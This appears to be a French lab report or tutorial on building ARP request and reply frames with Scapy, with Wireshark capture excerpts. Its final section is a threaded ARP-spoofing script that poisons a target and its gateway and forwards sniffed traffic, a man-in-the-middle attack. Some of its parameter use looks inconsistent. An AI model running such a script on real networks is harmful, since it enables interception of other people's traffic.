

GENERATION D'UNE TRAME ARP_REQUEST AVEC SCAPY

```
# Définir les adresses IP cible et source
```

```
target_ip = "192.168.1.254"
```

```
source_ip = "192.168.1.39"
```

```
# Créer la trame ARP request
```

```
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=target_ip, psrc=source_ip)
```

```
# Envoyer la trame ARP request et stocker la réponse dans une variable
```

```
arp_reply = srp1(arp_request, timeout=1, verbose=0)
```

```
# Afficher la réponse ARP
```

```
print("ARP Reply received from", arp_reply.psrc, "with MAC address", arp_reply.hwsrc)
```

No.	Time	Source	Destination	Protocol	Info
2963	262.636053	20:66:cf:68:a...	78:4f:43:6c:f5:bb	ARP	192.168.1.254 is at 20:66:cf:68:a1:d0
3002	272.667553	20:66:cf:da:0...	Broadcast	ARP	Gratuitous ARP for 192.168.1.96 (Request)
3036	279.306947	78:4f:43:6c:f...	Broadcast	ARP	Who has 192.168.1.254? Tell 192.168.1.39
3037	279.311253	20:66:cf:68:a...	78:4f:43:6c:f5:bb	ARP	192.168.1.254 is at 20:66:cf:68:a1:d0

> Frame 3036: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0

> Ethernet II, Src: 78:4f:43:6c:f5:bb (78:4f:43:6c:f5:bb), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

∨ Address Resolution Protocol (request)

- Hardware type: Ethernet (1)
- Protocol type: IPv4 (0x0800)
- Hardware size: 6
- Protocol size: 4
- Opcode: request (1)
- Sender MAC address: 78:4f:43:6c:f5:bb (78:4f:43:6c:f5:bb)
- Sender IP address: 192.168.1.39
- Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)
- Target IP address: 192.168.1.254

GENERATION D'UNE TRAME ARP_REPLY AVEC SCAPY

```
# Définir les adresses MAC et IP cible et source
```

```
target_mac = "20:66:cf:68:a1:d0"
```

```
target_ip = "192.168.1.254"
```

```
source_mac = "78:4f:43:6c:f5:bb"
```

```
source_ip = "192.168.1.39"
```

```
# Créer la trame ARP reply
```

```
arp_reply = Ether(dst=target_mac, src=source_mac)/ARP(op=2, hwsrc=source_mac,  
psrc=source_ip, hwdst=target_mac, pdst=target_ip)
```

```
# Envoyer la trame ARP reply
```

```
sendp(arp_reply)
```

Time	Source	Destination	Protocol	Info
5387	572.755179	20:66:cf:da:0... Broadcast	ARP	Gratuitous ARP for 192.168.1.96 (Request)
5452	586.102686	78:4f:43:6c:f... 20:66:cf:68:a1:d0	ARP	192.168.1.39 is at 78:4f:43:6c:f5:bb
5534	602.738512	20:66:cf:da:0... Broadcast	ARP	Gratuitous ARP for 192.168.1.96 (Request)

Frame 5452: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: 78:4f:43:6c:f5:bb (78:4f:43:6c:f5:bb), Dst: 20:66:cf:68:a1:d0 (20:66:cf:68:a1:d0)
Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800)
Hardware size: 6
Protocol size: 4
Opcode: reply (2)
Sender MAC address: 78:4f:43:6c:f5:bb (78:4f:43:6c:f5:bb)
Sender IP address: 192.168.1.39
Target MAC address: 20:66:cf:68:a1:d0 (20:66:cf:68:a1:d0)
Target IP address: 192.168.1.254

ATTAQUE ARP SPOOFING AVEC SCAPY

```
from scapy.all import *
import time

# Définir les adresses MAC et IP cibles et sources
target_ip = "192.168.1.1"
spoofed_ip = "192.168.1.100"
spoofed_mac = "00:11:22:33:44:55"
gateway_ip = "192.168.1.254"

# Fonction pour envoyer des paquets ARP spoofés en boucle
def arp_spoof(target_ip, gateway_ip, spoofed_mac, spoofed_ip):
    while True:
        # Envoyer une trame ARP spoofée à la cible
        target_arp = ARP(op=2, pdst=target_ip, hwdst=spoofed_mac, psrc=gateway_ip)
        send(target_arp)

        # Envoyer une trame ARP spoofée à la passerelle
        gateway_arp = ARP(op=2, pdst=gateway_ip, hwdst=spoofed_mac, psrc=target_ip)
        send(gateway_arp)

        time.sleep(2)

# Lancer l'attaque ARP spoofing
arp_spoof_thread = threading.Thread(target=arp_spoof, args=(target_ip, gateway_ip, spoofed_mac, spoofed_ip))
arp_spoof_thread.start()

# Fonction pour rediriger le trafic de la cible vers le pirate informatique
def sniff_and_forward():
    while True:
        pkt = sniff(filter="host "+target_ip, count=1)
        sendp(pkt[0], iface="eth0", verbose=0)

# Lancer l'écoute et la redirection de trafic
sniff_and_forward_thread = threading.Thread(target=sniff_and_forward)
sniff_and_forward_thread.start()
```